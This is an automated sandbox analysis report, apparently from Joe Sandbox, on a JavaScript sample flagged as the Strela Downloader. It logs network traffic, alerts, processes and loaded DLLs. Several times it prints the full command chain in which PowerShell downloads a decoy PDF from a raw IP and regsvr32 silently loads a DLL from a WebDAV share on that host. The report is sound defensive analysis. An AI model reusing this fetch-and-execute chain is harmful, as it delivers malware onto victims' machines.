Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: global traffic

TCP traffic: 192.168.2.6:49732 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49716 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2134330496.000001C75023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2243730839.000001BEA5DAA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2243730839.000001BEA5DCA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2243730839.000001BEA5D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2243730839.000001BEA5D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.2243730839.000001BEA5DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.3421732545.0000022677400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2241976440.0000022677200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2688, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 326794322661816170.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5204:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ic4ji2ni.bxl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 326794322661816170.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1656,i,1017238091831218955,9117593508025748178,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1656,i,1017238091831218955,9117593508025748178,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
